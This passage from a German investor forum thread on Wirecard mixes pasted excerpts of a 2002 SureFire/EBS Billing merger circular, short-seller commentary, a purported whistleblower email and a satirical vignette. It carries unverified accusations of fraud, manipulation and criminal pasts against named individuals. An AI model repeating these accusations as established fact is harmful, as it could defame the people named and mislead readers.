      Koenigstein,
      Germany
      Director Banker November 1, 2002 -
      During the last five years, all of the directors have been engaged in their present principal
      occupations or in other executive capacities with the companies indicated opposite their names or with
      related or affiliated companies, except for Mr. Juergen Ragaller, who prior to February 2003 was Director
      of Finance and Administration of Brokat e-Finance GmbH and who prior to January 2002 was working
      with Brokat AG and Mr. Klaus O. Rehnig, who prior to1999 was President of an international division of
      Axel Springs Publishing Group.
      The following table sets forth the current officers of EBS Billing:
      Name and
      Municipality of
      Residence
      Office with EBS
      Billing Principal occupation
      Common Shares Beneficially
      Owned or Over Which
      Control is Exercised and
      Percentage of the issued and
      Outstanding Common Shares JUERGEN RAGALLER
      Germering, Germany
      Managing Director Managing Director of EBS
      Billing
      -
      During the last five years, except as indicated elsewhere under this heading, all of the officers of
      EBS Billing have been engaged in the principal occupations indicated above opposite their names or have
      occupied a management position with the same or a related entity, except for except for Mr. Juergen
      Ragaller, who prior to February 2003 was Director ofFinance and Administration of Brokat e-Finance
      GmbH and who prior to January 2002 was working with Brokat AG.

      To the knowledge of EBS Billing, no director orofficer or shareholder of EBS Billing holding a
      sufficient number of securities of EBS Billing to affect materially the control of EBS Billing (a "control
      person") is, or has been within the past 10 years, a director or officer of any other company that, while
      such person was acting in that capacity, was the subject of a cease trade or similar order or an order that
      denied such company access to any exemptions under Canadian securities legislation for a period of
      more than 30 consecutive days, or was declared bankrupt or made a voluntary assignment in bankruptcy,
      made a proposal under any legislation relating to bankruptcy or insolvency or was subject to or instituted
      any proceedings, arrangement or compromise with creditors or had a receiver, receiver manager or
      trustee appointed to hold its assets, except for Klaus O. Rehnig who was a partner and officer of
      Gesundheitsmedien GoubHZCokG, a newspaper supplements publishing company that made a
      voluntary assignment in bankruptcy in July, 2001.
      To the knowledge of EBS Billing, no director, officer or control person of EBS Billing has been
      subject to any penalties or sanctions imposed by a court relating to Canadian securities legislation or by a
      Canadian securities regulatory authority or has entered into a settlement agreement with a Canadian
      securities regulatory authority, nor has any director, officer or control person of EBS Billing been subject
      to any other penalties or sanctions imposed by a court or regulatory body that would likely be considered
      important to a reasonable investor in making an investment decision.
      To the knowledge of EBS Billing, no director, officer or control person of EBS Billing, nor any
      personal holding company of any such person, has within the past 10 years, been declared bankrupt or
      made a voluntary assignment in bankruptcy, made a proposal under any legislation relating to
      bankruptcy or insolvency or been subject to or instituted any proceedings, arrangement or compromise
      with creditors, or had a receiver, receiver manager or trustee appointed to hold the assets of that
      individual.
      Conflicts of interest may arise as a result of the directors and officers of EBS Billing also holding
      positions as directors and/or officers of other companies. Some of the directors and officers have been
      and will continue to be engaged in the identification and evaluation of assets and businesses, with a view
      to potential acquisition of interests in businesses and companies on their own behalf and on behalf of
      other companies, and situations may arise where the directors and officers will be in direct competition
      with EBS Billing.
      Directors’ Compensation
      The directors currently receive 15,000 Euros per annum as remuneration in their capacity as
      directors of EBS Billing.
      Executive Compensation
      Cash Remuneration
      The table below details compensation information for the financial year ended December 31, 2002
      and, where applicable, the two previous financial years for the Managing Director and sole officer of EBS
      Billing, measured by base salary and incentive bonuses during such period.


      RISK FACTORS
      The following risk factors should be consideredby Shareholders in evaluating whether to
      approve the Merger. These risk factors should be considered in conjunction with the other information
      included in this Circular.
      Risks relating to the Merger
      EBS Holding may decide not to exercise the Option
      The Merger is scheduled to take place in two phases. Initially, under the terms of the Merger
      Agreement, SureFire will acquire from EBS Holding 51% of the total number of issued and outstanding
      shares of EBS Billing in exchange for the issuance by SureFire to EBS Holding of a number of Common
      Shares which will represent approximately 21% of the issued and outstanding Common Shares
      immediately after the First Closing Date. Under the terms of the Option Agreement, SureFire has also
      agreed to grant to EBS Holding, on the First Closing Date, an irrevocable, exclusive and non-transferable
      Option to subscribe for and purchase a number of Common Shares which will entitle EBS Holding, if it
      exercises the Option, to hold approximately 63% of the issued and outstanding Common Shares in
      consideration for the sale and delivery by EBS Holding to SureFire of the remaining 49% interest it will
      then hold in EBS Billing. EBS Holding will be entitledto exercise the Option only once and at any time
      until December 31, 2003. However, there is no obligation under the terms of the Option Agreement for
      EBS Holding to exercise the Option. There can be no assurances that EBS Holding will consider that it is
      in its best interest to exercise the Option and become the holder of approximately 63% of the issued and
      outstanding Common Shares. EBS Holding may rather decide that it is in its best interest not to exercise
      the Option and remain the holder of approximately 21% of the issued and outstanding Common Shares
      and of 49% of the issued and outstanding Common Shares of EBS Billing. If the Option is not exercised by
      EBS Holding, the anticipated benefits of the Merger may be reduced, delayed or lost as a result of the
      partial ownership of EBS Billing by SureFire.
      Integration of SureFire's and EBS Billing's Operations
      If SureFire and EBS Billing do not successfullyintegrate their operations, the Merger may not
      fully benefit SureFire or the Shareholders. The Merger of SureFire and EBS Billing involves the
      integration of separate companies that have previouslyoperated independently. If the integration is not
      completed successfully or takes longer than planned, some of the anticipated benefits of the Merger may
      be lost or delayed. SureFire and EBS Billing cannot assure that they will be able to integrate their
      operations, without encountering difficulties or experiencing the loss of key employees, customers or
      suppliers.

      Interest of Certain Persons in the Merger
      Persons affiliated with SureFire have interests thatmay conflict with the interests of Shareholders
      in the Merger. Some members of SureFire's management have interests in the Merger that are different
      from or in addition to Shareholders' interests as Shareholders. Specifically:
      • prior to the First Closing, SureFire will enter into written employment agreements with four
      key employees and senior executives of SureFire to provide for continued employment of
      these individuals upon completion of the Merger;
      • SureFire and EBS have agreed to use commercially reasonable efforts to, on or prior to the
      First Closing, confirm the existing employment agreements or execute new employment
      agreements with two other key employees of SureFire; and
      • concurrently with the announcement of the Merger on October 1, 2002, Mitchell A. Garber,
      former Executive Vice-President of SureFire, was elected to the Board of Directors and
      appointed President and Chief Executive Officer.
      For the above reasons, the directors and officers of SureFire could be more likely to vote to
      approve the Merger Resolution than if they did not hold these interests. Shareholders should consider
      whether these interests may have influenced these directors and officers to support or recommend the
      transaction. The Board of Directors was aware ofthese interests when it approved the Merger
      Agreement.
      Avatar
      schrieb am 06.12.16 21:44:30
      Beitrag Nr. 232 ()
      ...
      5. Banking Arrangements
      The Company has arranged a pooling of bank accounts and loans with Deutsche Bank AG. As a
      result no interest is received or paid on these accounts. No security was provided to Deutsche Bank
      AG.
      ...

      Reliance on WireCard AG
      The technology used by Billing is provided by way of perpetual license from its affiliate, WireCard AG.
      Therefore, the services provided by Billing to its merchants are dependent upon the service level
      provided by WireCard AG. Should there be a service interruption or degradation of WireCard AG’s
      operations, this could negatively impact the service provided by Billing and ultimately impact revenues.
      As well, should WireCard AG change its strategic business plan and no longer offer the services and
      technology required by Billing, this would result in Billing having to secure alternative arrangements
      with other technology providers.


      ---

      In June of 2002, SureFire entered into a supplier/customer arrangement with an affiliate of EBS
      Holding.
      17
      On August 7, 2002, an Independent Committee composed of certain members of the Board of
      Directors was formed. Its mandate was to review discussions with respect to a potential merger or
      acquisition transaction. A merger or acquisition transaction would be submitted to the Board of Directors
      after having been approved by this Independent Committee.
      From August 14, 2002 to August 28, 2002, senior executives of SureFire and EBS met to discuss
      the possibility of a transaction between SureFire and EBS.
      On August 29, 2002, a first draft of the term sheet summarizing the proposed transaction was
      presented to Paul Bauer, Chief Executive Officer of EBS Holding.
      On September 3 and 4, 2002, representatives of SureFire and EBS met again to discuss the term
      sheet and other considerations with respect to the proposed transaction.
      Between September 9 and October 1, 2002, SureFire and EBS met to discuss, negotiate and draft
      the terms of the Merger Agreement and the Option Agreement with the assistance of their respective
      legal counsel.
      On September 26, 2002, the Board of Directors of SureFire unanimously approved the Merger,
      subject to the completion and signature of satisfactory definitive agreements.
      On September 27 and 30, 2002 and October 1, 2002, legal counsel for SureFire and EBS exchanged
      comments and negotiated the final terms of the Merger Agreement and the Option Agreement.
      On October 1, 2002, SureFire and EBS executed the Merger Agreement and the Option
      Agreement. On the same day, SureFire issued a press release announcing the execution of the Merger
      Agreement and of the Option Agreement.
      Avatar
      schrieb am 06.12.16 21:46:07
      Beitrag Nr. 233 ()
      The Merger Agreement provides that the obligationsof EBS to complete the First Transaction is
      subject to the fulfillment of a number of additional conditions, each of which may be waived by EBS,
      including the following:
      i) all covenants of SureFire under the Merger Agreement shall have been duly complied with by
      SureFire;
      ii) SureFire shall have delivered to EBS Holding the consolidated audited financial statements of
      SureFire and of its subsidiaries for the 12 month period ending on March 31, 2002 and
      consolidated unaudited statements for any monthly periods thereafter until the First Closing,
      within 6 weeks of the end of such monthly periods;
      iii) there shall have been submitted for the Shareholders to approve a board of directors of SureFire
      composed of Markus Braun, Mitchell A. Garber, Brahm M. Gelfand, Joel Leonoff, Klaus O.
      Rehnig
      , Steve Shaper and Tommy Boman and such persons shall have been elected
      ; and
      iv) SureFire shall have executed new employment agreements with certain of its key executives.
      Avatar
      schrieb am 06.12.16 21:46:53
      Beitrag Nr. 234 ()
      DR. MARKUS BRAUN
      Munich, Germany
      Nominee Managing Director,
      WireCard AG
      Avatar
      schrieb am 08.12.16 23:03:56
      Beitrag Nr. 235 ()
      Für Historiker sehr interessant:
      (source: whistleblowerwd, report I, foot note 31 on page 7)
      http://web.archive.org/web/20030813200642/http:/www.sfcommer…

      "there shall have been submitted for the Shareholders to approve a board of directors of SureFire
      composed of Markus Braun, Mitchell A. Garber, Brahm M. Gelfand, Joel Leonoff, Klaus O.
      Rehnig, Steve Shaper and Tommy Boman and such persons shall have been elected"
      (page 35)

      Bei Markus Braun stand als "principal occupation" "Managing Director, WireCard AG", bei Klaus Rehnig nur "consultant" (page 39). Seit wann war Rehnig eigentlich bei der Wirecard?

      Die neuen Vorstände wurden den Aktionären vorgestellt:
      Mr. Mitchell A. Garber, who prior toOctober 2002 was Executive Vice-President, Business
      Development of SureFire, and prior to December 1999 was a practicing corporate attorney specializing in gaming and entertainment law; Mr. Markus Braun, who prior to 2000 was a consultant at KPMG; Mr. Klaus O. Rehnig, who prior to 1999 was President of an international division of Axel Springs [sic! Springers?] Publishing Group
      (page 40)

      "Markus Braun, Mitchell A. Garber, Brahm M. Gelfand, Joel Leonoff, Klaus O. Rehnig, Steve
      Shaper and Tommy Boman are hereby elected directors of SureFire, to hold office until the next
      annual meeting, or until their respective successors are duly elected or appointed; and " (page 81)

      "EBS Billing is a turnkey provider of payment services to European Internet
      merchants, by providing multi-currency VISA and MasterCard merchant accounts and a robust Internet
      Payment Gateway solution (provided by its affiliate, WireCard AG)" (page 12)

      Als Risikofaktoren wurden u.a. genannt
      EBS Billing's reliance on WireCard AG
      (page 19)

      was wollte Garber mit der Wirecard?
      EBS Billing has established a leadership position in the European market for processing a high volume of transactions for the online gaming business. A substantial portion of EBS Billing’s revenues is derived from the processing of Internet gaming transactions by United States residents. As a result, ongoing legislative or judicial developments in the United States are of particular importance to EBS Billing.

      (page 58)

      In October, 2002, EBS Billing signed an agreement with Pago eTransaction services GmbH
      ("Pago") to process their European credit card transactions. Pago is a joint venture comprised of Deutsche Bank and Beisheim Holding Schweiz AG.
      On April 1, 2002, EBS Holding sold substantially all of the assets and liabilities of its credit card
      acquiring business to EBS Billing, a wholly-owned subsidiary of EBS Holding for 1.5 million Euros. As a result, EBS Holding now holds 100% of the issued and outstanding shares of EBS Billing. Prior to this date, the operations of EBS Billing had been performed by EBS Holding.

      (page 57)

      EBS Billing was organized on January 29, 2002 pursuant to the laws of the Federal Republic of Germany to acquire the payments processing businessof EBS Holding (previously named ebs Electronic Billing Systems AG). The registered office and principal place of business of EBS Billing is located at Lilienthalstraße 5, 85399 Hallbergmoos, Germany.
      (page 57)

      Alles alte Kamellen? Das ist eine Frage der ... Betrachtungsweise :)
      Avatar
      schrieb am 09.12.16 14:18:23
      Beitrag Nr. 236 ()
      Antwort auf Beitrag Nr.: 53.795.586 von jigajig am 29.11.16 21:24:23
      Zitat von jigajig: Der Threadstarter hat übrigens zB zwischen dem 24,8,2007 und dem 8.12.2008 (also in 16 Monaten) genau ein Posting geschrieben - im wallstreet-Thread :)
      Zitat von streger: Bin über diesen Artikel auf diesen Thread gestoßen und will ihn euch nicht vorenthalten:

      http://www.handelsblatt.com/finanzen/boerse-inside/das-schwa…

      Schafft nicht jeder Thread/User im Handelsblatt genannt zu werden :)

      *duckundweg*


      Wirecard liest mit und ist aktiv. Link zum HB ist auf einmal tot...
      1 Antwort
      Avatar
      schrieb am 09.12.16 14:27:04
      Beitrag Nr. 237 ()
      Antwort auf Beitrag Nr.: 53.863.204 von Banntigger am 09.12.16 14:18:23...oder verschoben:
      http://www.handelsblatt.com/finanzen/maerkte/boerse-inside/b…
      Avatar
      schrieb am 09.12.16 22:51:35
      Beitrag Nr. 238 ()
      @Banntigger
      dieser Thread ist eher so etwas wie eine Zwischenablage geworden, aber eine der besten Zwischenablagen, die ich kenne

      Zitat von ernestof: 18.06.15 16:51
      Nach dem langen Steigflug ist die Wirecard-Aktie...in den Korrekturmodus gewechselt...
      Im April habe der Titel bei 42,72 Euro noch ein Allzeithoch markiert, ehe es bis Anfang Mai bis auf 34,67 Euro nach unten gegangen sei - ein Minus von 18,8 Prozent....
      Angesichts der guten fundamentalen Entwicklung sei der Kursrückgang bei Wirecard kaum nachzuvollziehen. ...
      Wirecard-CEO Markus Braun scheine Kurspotenzial zu sehen, da er in den vergangenen Wochen mehrmals Aktien des von ihm gegründeten Unternehmens gekauft habe. Losgegangen sei es am 7. Mai, als 150.000 Papiere zu je 35,63 Euro in sein Depot gewandert seien. ...
      http://www.aktiencheck.de/exklusiv/Artikel-Wirecard_Aktie_Ko…
      Avatar
      schrieb am 09.12.16 23:41:51
      Beitrag Nr. 239 ()
      Antwort auf Beitrag Nr.: 53.823.682 von jigajig am 03.12.16 22:37:10
      Zitat von jigajig: Nachtrag: Ich bitte um Beachtung folgenden Sachverhalts:
      (Quelle: bundesanzeiger)

      Am 10. Oktober 2008 gaben Knöchelmann und Buchholz die Bilanzerklärung der Löwenor ab:
      "6.568.596,56" (für 2007)

      Am 10. februar 2010 (!) wurde dieser Bericht korrigiert (!)
      Mit Datum vom 11.9.2009 und der Anmerkung "Hinweis: Der geänderte Jahresabschluss der LÖWENOR Verwaltungsgesellschaft mbH, Wallmoden, wurde in der Gesellschafterversammlung vom 12. November 2009 festgestellt. " wurde nun am 10.2.2010 eine neue Bilanz ausgegeben:
      "15.875.606,45"

      Wo hat man denn plötzlich über 8 Millionen Euro entdeckt?
      Vielleicht unter Linus Schmusetuch?

      Es wird alles ans Licht kommen, Und es wird nichts passieren. Nichts.


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      Avatar
      schrieb am 11.12.16 21:34:24
      Beitrag Nr. 240 ()
      Zitat von jigajig: Wenn ich Dich richtig verstehe, unterstellst Du wallstreet:online die Unterstützung betrügerischer Aktivitäten? Und Dein Beleg ist eine quellenlose Reutersmeldung, die vom Handelsblatt (übrigens vom Herrn ***) aufgegriffen wurde und zu dem Bericht führte, den Du verlinkt hast?

      Du vertrittst die Auffassung, dass dieser Artikel aussage, dass gegen Zatarra wegen Marktmanipulation ermittelt würde? Kannst Du mir und allen Lesern, die sicher an Deiner Beweisführung interessiert sein werden, bitte die genaue Stelle zeigen?

      Wenn ich Dich richtig verstehe, bist Du der Auffassung, es sei belegt, dass es sich bei "Es" (was genau?) um verlogene und marktmanipulative Berichte handele, was zatarra auf seiner Seite offen zugebe?

      Ich vermute, Du meinst damit die unglückliche Verwendung des Begriffes "fraud". Dieses Thema hatten wir hier schon diskutiert, vielleicht hast Du da noch nicht hier mitgelesen:
      siehe hier
      Zitat von jigajig: Darum ging es nicht! Es ging darum, das zatarra etwas unglücklich schreibt:
      By downloading this document, you explicitly agree to the terms of this disclaimer including the risk of financial losses, [the risk of] fraud and [the risk of] misrepresentation.

      und dass dies von einigen falsch verstanden wurde. Es heißt nämlich nicht, dass Zatarra sich damit das Recht einräumt, Betrug zu betreiben oder (absichtlich) Falschaussagen in Umlauf zu bringen.


      Wenn ich Dich richtig verstehe, kannst Du belegen (denn Du sagst es uneingeschränkt aus), dass es sich "hier" (was genau meinst Du?) um Verlkeumdung und Betrug handle? Dann bitte belege dies, denn Dein Vorwurd ist ungeheuerlich: Ein Börsenforum, das Betrug unterstützt???

      Du behauptest, wenn ich es richtig verstehe, dass das Vergehen von w:o darin besteht, "diese Userbeiträge" (welche? Zatarra postet doch hier gar nicht?) nicht zu löschen, während Beiträge wie

      ...

      von w:o gelöscht würden, nur weil sie den betrug, den wallstreet-online unterstützt, kritisieren?

      Habe ich das soweit richtig verstanden?

      Laut Handelsblatt haben die Kollegen von Reuters versucht, Zatarra zu erreichen, was nicht gelungen sei. Auf welchem Wege es versucht wurde, ist nicht bekannt.
      Nach Angaben von zatarra hat eine namentlich genannte BaFin-Mitarbeiterin eine ausführliche Anfrage an Zatarra gestellt, die beantwortet wurde. Es gab keinerlei Kommunikation der BaFin mit Zatarra zum Thema Marktmanipulation.
      Im Spiegel stand (18/2016)
      Wie diese Zusammenarbeit aussieht, ist unklar. Die deutsche Finanzaufsicht BaFin
      sowie britische und amerikanische Behörden wollen sich zu Wirecard und Zatarra nicht äußern. Nach SPIEGEL-Informationen geht die BaFin dem von Zatarra erhobenen Vorwurf der Geldwäsche nach. Die Behörde ermittelt allerdings auch wegen des Verdachts der Kursmanipulation und des Insider-Handels. Zatarra sagt dazu, man kooperiere nicht mit Hedgefonds, die Wetten gegen Wirecard abschließen.

      Du unterstellst hier also ohne konkrete Belege dem Forum aktive Beteiligung an betrügerischem Handeln?
      Meinst Du das ernst oder bist Du nur irgendwie gerade sehr wütend und hast das im Überschwang der Emotionen geschrieben?
      Avatar
      schrieb am 12.12.16 19:52:37
      Beitrag Nr. 241 ()
      "This is an exciting merger from our perspective, and we believe the synergies, combined revenue, growth and profitability will generate substantial value to SureFire Commerce shareholders," said Paul Bauer-Schlichtegroll, majority shareholder of EBS Holding AG. "Joining with SureFire Commerce provides an excellent opportunity for EBS' clients, partners and employees. We believe that this merger creates an unparalleled global payments powerhouse. The combination of European and North American databases, payment gateways, bank relationships, risk management and scoring tools, and other major synergies are what make this merger unique," Mr. Bauer-Schlichtegroll concluded.

      http://web.archive.org/web/20030220144759/http:/www.sfcommer…
      Avatar
      schrieb am 12.12.16 21:55:43
      Beitrag Nr. 242 ()
      applestore, 12.12.2016 icashcard v2.2

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      • Do Mobile Recharge/ Datacard recharge with all the available operators like Airtel, Aircel, Vodafone, Idea, BSNL, Reliance, TATA.
      • Do DTH recharge with all the available operators like Airtel DTH, TATA SKY DTH, SUN Direct DTH, Videocon d2h, Dish TV DTH.
      • Re-charge/ Top-up facilities to expose smaller amount every month to use at any merchant location.
      • Hassle free availability provided with proper KYC. Accepted at multiple merchant locations/websites.
      • Alternate to conventional banking channels secured and certified by governing body like RBI
      • 24/7 Customer care Toll Free: 1800-108-1080
      Your iCASHCARD is a multi-utility card.
      ICASHCARD can be used for various purposes on the net. You can shop online, buy recharge vouchers for your Prepaid Mobile, buying Air / Train Tickets online, making various bill payments online and a host of other services that are in the process of being integrated for your convenience.
      FAQs
      1. How to use a virtual ICashCard ?
      In case of virtual card, customer can use the card number and PIN which was sent through SMS to the registered mobile number.
      2. How to use a Physical ICashCard ?
      You can use your ICashCard by swiping it at the billing counter and by entering your pin number for security. You need to keep the Card and Pin Number confidential and GI Tech will not be responsible for any misuse of the same.
      3. How to Order Home Delivery?
      a. Call our Hotline for home delivery of ICashCard across the country b. Get home delivery of ICashCard from GI Technology Private Limited offices across the country.
      c. You can make DD in the name of GI Technology Pvt. Ltd. - payable at Chennai and send it to our office.
      GI TECHNOLOGY PRIVATE LIMITED
      C-9,Thiru vi ka Industrial Estate,
      Guindy,
      Chennai:600032
      You need to give your detail address and phone number. Minimum purchase value for home delivery is Rs.1000/- or in multiples thereof. If you would like to speak to us directly feel free to call us at Toll Free: 1800-108-1080
      4. Direct Buy?
      a. ICashCard is also available at all authorized outlets and authorized dealers across India.
      b. Customer can visit The Smart Shop or Ease Ticket outlets to purchase the card. Customer can buy the card by paying cash to the agent, the Card and PIN details will be sent to the customer's registered mobile number.
      Avatar
      schrieb am 13.12.16 21:35:23
      Beitrag Nr. 243 ()
      „Ha!“, sagte [Zatarrahead] und klappte zufrieden sein altes Thinkpad Z60 zu. Dann griff er, scheinbar wahllos, nach einem von ungefähr einem Dutzend Smartphones, die auf dem Boden seines Büros verstreut lagen, tippte hastig eine Nummer ein und sprach den vereinbarten Satz: „Cardhouse will be toast!“.
      Er ging zum Schreibtisch zurück und schaltete alle fünf Monitore aus, lächelte sein Spiegelbild an, das ihn aus einem der vielen viktorianischen Spiegel wohlwollend betrachtete, klopfte mit zwei Fingern einen 13/8-Takt auf seiner Brust und sprach mit gestelzter Stimme „der Markt ist reif genug, zu erkennen, was Spekulation ist“.
      Er riss sich die Kleider vom Leib, hüpfte splitternackt durch sein Büro, geradewegs auf einen kleinen Schrank zu, holte eine Flasche Macallan Jahrgang 1928 heraus, schenkte einen ordentlichen Dreifachen in ein Whiskyglas ein, das auf einem Stapel Finanzberichten der Cardhouse AG lag, prostete einem imaginären Gegenüber zu und schrie „A toast for your toast, [MB], slainte mhath!“.

      Aus einem kleinen Schälchen fingerte er eine Handvoll kleiner Tabletten, als eines der Smartphones klingelte. Während er die Tabletten eine nach der anderen schluckte, begrüßte er den Anrufer unter ständigem Kichern, hörte ihm eine Weile zu und flüsterte „[DMC], Du bist und bleibst ein Schisser! Es ist doch völlig egal, dass Du gegen die Cardhouse AG geschrieben hast. Ich habe Material für ein ganzes Jahr Dauerfeuer. Danach sind diese deutschen Drecksäcke so kurz geschoren wie das Green des Aschendorfer Golfparks! Bleib cool und vor allem: Bleib verdammt noch mal short!“.
      Avatar
      schrieb am 27.12.16 21:02:30
      Beitrag Nr. 244 ()
      [nicht im Hauptthread gepostet, um Ärger zu vermeiden]

      Diese Diskussion ist schon etwas älter und es ist ein bisschen unfair, sie nur an N26 fest zu machen... In brandeins gab es auch eine Diskussion um Verbraucherschutz, mit ähnlich kritischem Ergebnis.
      https://www.brandeins.de/archiv/2016/digitalisierung/fintech…

      N26 ist sowieso lustig: Wieso haben die denn eigentlich immer noch 200000 Kunden? Die hatten sie doch schon im Juni, "nach nur 15 Monaten" (Quelle) Kommen denn keine neuen Kunden dazu???

      bei n26.com steht immer noch "!powwred by wirecardbank"

      Der Gründer half vorher, die Rocket Startups Payleven und Paymill aufzubauen (Vita)

      Vor zwei jahren wiederum verkündete Wirecard eine Kopoperation mit Rocket (Quell)
      Demnach werden in Zukunft alle Online-Unternehmen der Rocket Internet Gruppe auf die Technologie von Wirecard zurückgreifen.


      Paymill ging pleite, Payleven verschmolz mit Sum-Up, die Zeitungen schrieben "Fintechs: das Sterben beginnt", Fidor wurde an die zweitgrößte französische Bank verkaufz (Quelle), zeitgleich wurde gemeldet, dass Rocket Internet nun mit der "Fintech Group" einen "neuen Versuch" in Sachen Fintech starten will. (Quelle)
      Da steht dann auch drin, dass die Samwers Geld in LOOT gesteckt haben - Loot kooperiert wiederum mit der wirecard

      Fassen wir zusammen: Ein ziemliches Durcheinander, die schöne neue Fintechwelt.
      Avatar
      schrieb am 28.12.16 10:57:54
      Beitrag Nr. 245 ()
      [nicht im Hauptthread, um Ärger zu vermeiden]


      Eine Anmerkung in Bezug auf eine Firma, die ich gerade öfter im Zusammenhang mit Wirecard lese (bzw. als Beispiel, wie es für Wirecard (positiv) enden könnte mit all den Leerverkäufern, siehe z.B. ariva): ich rede von der Bank of Internet (Bofi). 2015 gab es einen kritischen Artikel (in der NY Times, glaube ich). Aber im Moment scheint sich die positive Sicht durchzusetzen
      http://www.fool.com/investing/2016/09/29/investors-are-betti…
      In a nutshell, over the past year, BofI has faced several accusations of wrongdoing, including but not limited to issuing loans to foreign criminals, forgery, and conspiring with an appraiser to overvalue properties. The list goes on, and my colleague has discussed BofI's issues at greater length in this article from January, as well as this more recent one.
      Management has of course denied any wrongdoing, and in the time since all the accusations, the bank has passed several regulatory examinations and an independent investigation by a major law firm. And while the bank hasn't been completely exonerated of all the accusations, the lack of any findings by regulators and the pending motion to dismiss lead me to believe that the short-selling days are numbered.

      2014 gab es eine erste negative Meinung - und zwar von Spotlight Research
      http://seekingalpha.com/article/2724995-bofi-holding-will-re…. Das sind die verfasser des Berichtes über ... Paysafe... Der Kurs von BoFi ist heute höher als bei den ersten Attacken, die LV-Quote ist viel höher als bei Wirecard.

      und hier ist noch eine weitere ähnliche Firma (neben Wirecard, paysafe und BofI), nämlich die BANC (Banc of California), die angegriffen wurde wegen ihrer Beziehung zu einem gewissen Jason Galanis :)
      http://www.fool.com/investing/2016/10/18/why-shares-of-banc-…
      Avatar
      schrieb am 30.12.16 09:26:59
      Beitrag Nr. 246 ()
      Evil Knievil (Simon Cawkwell) auf masterinvestor.co.uk
      zur wirecard (gesammelt)
      Dezember 2015
      Flash
      I am short of Wirecard (Frankfurt-quoted WDI), now E46. They will complete some deal later this month and, shortly afterwards, the pigeons should come home to roost. Matthew Earl is the expert. I trust him and you can see his argument concerning Wirecard on Lordshiptradingblogspot.


      24.02.2016
      We kick off this morning with a report by Zatarra Research (zatarraresearch.com) into Wirecard (WDI on Frankfurt). ...Punters should plunge virtually without reserve on this one cognisant that this informant, your diarist, does not know when the implosion will occur. But it surely will – now E42.

      "Ich weiß nicht, wann wirecard implodieren wird, aber es wird gewiss passieren"

      14. März 2016
      "Apology to Wirecard"
      an email, purportedly sent by a staff member at ZatarraResearch.com (the cause of WDI’s recent demise), disclosed that the Zatarra 100 page report into WDI is completely fake. ...
      You read the report and draw your own conclusions and then short WDI. Now E34.5.
      For those who like reading fake emails, I offer the offending item:
      “Subject: APOLOGY TO WIRECARD
      – allegations against Wirecard concocted and wrong
      – criminal short seller group in UK with ties to media
      I have been employed by the group you got to know lately as ‘Zatarra’ to assist them in setting up what I was originally told to be a disclosure of information collected on an alleged misconduct of German firm Wirecard.
      Over the last months I have become aware of unethical and unlawful conduct and practices by my employers, however, that I feel compelled to bring to your attention:
      In the course of performing what I believed were my duties for my employers, I came to realise that they have repeatedly falsified evidence and have taken open-source information out of context to intentionally project a negative image of the firm.
      Their actions were inspired by a successful short-selling attack on Wirecard in 2010 and served the sole purpose of manipulating the stock market’s and the public’s perception of the firm in order to temporarily tank its share price.
      Following a detailed action plan, my employers and their associates built up significant short positions against the firm over a period of several months through a network of multiple shell companies, funds and brokerages. In the meantime my associates and I collected open-source information that could be used to tarnish the firm’s reputation.
      The inner circle of this operation consists of individuals based in London, notably Mr. Brett Palos, Mr. Nick Gold, Mr. Yomi Rodrig, Mr. Nathaniel Glas, Mr. Omar Khyami, Mr. Shami Ahmed and several affiliated individuals. I hold evidence in form of voice recordings, incorporation documents, screenshots of SilentCircle chats and brokerage applications (ETX, CMC and others) documenting the coordination of the build-up of short positions, the timing of the release of reports and newspaper publications and the profits accumulated.
      Further I hold evidence in the form of screenshots and voice recordings that my employers have directly and indirectly repeatedly bribed and attempted to bribe journalists of several newspapers in the United Kingdom and the United States so as to use those newspapers as credible platforms to spread their allegations.
      I would like to correct the issues arising from the claims I and my employers brought against Wirecard. I came to realise too late that our actions were not only unethical but also clearly illegal and have brought harm to a firm that had done no wrong. The claims and allegations we brought forward were driven by greed and criminal motives and I apologise to Wirecard, its shareholders, business partners and employees.
      While I am writing you today from the official Zatarra email account I will most likely lose access to this account upon sending this email. I will shortly release further evidence on the criminal activities of my employers upon establishing a new email account.
      D @ Zatarra”


      17.3.2016
      Yesterday evening I hosted a cabal of short-sellers who discussed, inter alia, matters at Wirecard (WDI on Frankfurt). There is no doubt that this remains a massive fraud and that the eventual price will be zero, down from the current E34. But one contributor remarked that WDI might come up with surprise good news/enhanced, because fraudulently enhanced, results and that therefore it might be wiser to close one’s short pro tem. Certainly there is a 25% short position and borrow is now almost impossible and that therefore the price could be pretty frisky. But I think one should hold the short and try not to be too fancy.
      One thing stands out: just what are Ernst and Young doing remaining in office? Surely, one of the auditors’ requirements is to check whether their audit client’s business is lawfully conducted. WDI’s is not. It was a small branch of Arthur Andersen that handled Enron: this destroyed the worldwide firm. (Some will claim that these illegal transactions on the part of WDI are completed to the satisfaction of buyers and sellers who are directly involved and therefore do not give rise to future fears. But the fact is that they are unlawful and have now attracted the FBI.)



      3.5.2016
      Wirecard (WDI) are now to be investigated by BaFin (the German equivalent of the FCA) for money-laundering. All this was disclosed in Der Spiegel late last Friday. So far, the share price has been only mildly affected – it is now Euro 37. But later this week the attack is to become serious. Stay well short of WDI.



      5.5.2016
      Wirecard (WDI on Frankfurt) recruited to head their Far Eastern operations one Robert Frank Lock who spent time at the Bangkok Hilton having dealt in heroin. (...)
      They recruited Robert Frank Lock in 2009, after he left the Bangkok Hilton for heroin dealing. I think he “officially” left Wirecard in 2014. But still “partners” with them.
      He was also a director of a business which was sold to Wircard for €12.8 Million, which was then sold back to the original owners a few years later for €4.2 Million.


      DANACH kam nichts mehr - ebensowenig wie von Zatarra. Wer also noch einen potentiellen Kandidaten sucht für die Rolle als Sprachrohr, könnte ja einen Hinweis schicken an die anonyme E-Mailadresse des anonymen "D von Z." alias "Zatarraleak". Wer dem Tipp voon Simon Cawkwell gefolgt ist und bei 35-37€ short gegangen ist, der hat an Sylvester wenig Fleisch im Fondue :)
      Avatar
      schrieb am 31.12.16 17:44:49
      Beitrag Nr. 247 ()
      http://www.casino-forum.net/online-casino-news/5817-casinoko…
      2005 war eine Messe in Montreal, da gab es einen Vortrag von einem ALBERT J ANGEL
      Albert J. Angel is a partner with AWE Management LLC, a venture fund pursuing opportunities in the interactive gaming market. Mr. Angel has been involved as the founder and principal of several successful interactive services businesses, and draws on his background as a telecommunications lawyer and trade association activist.
      Mr. Angel is the past chairman and founder of Internet Billing Company Ltd. (“iBill”) a leading provider of billing services in the global Internet billing market. iBill was sold to publicly-traded InterCept Inc. in April 2002 for in excess of $100 million cash. Mr. Angel is also a founder and principal in ICN Ltd., a leading nationwide 800/900 audiotex and conferencing service bureau.

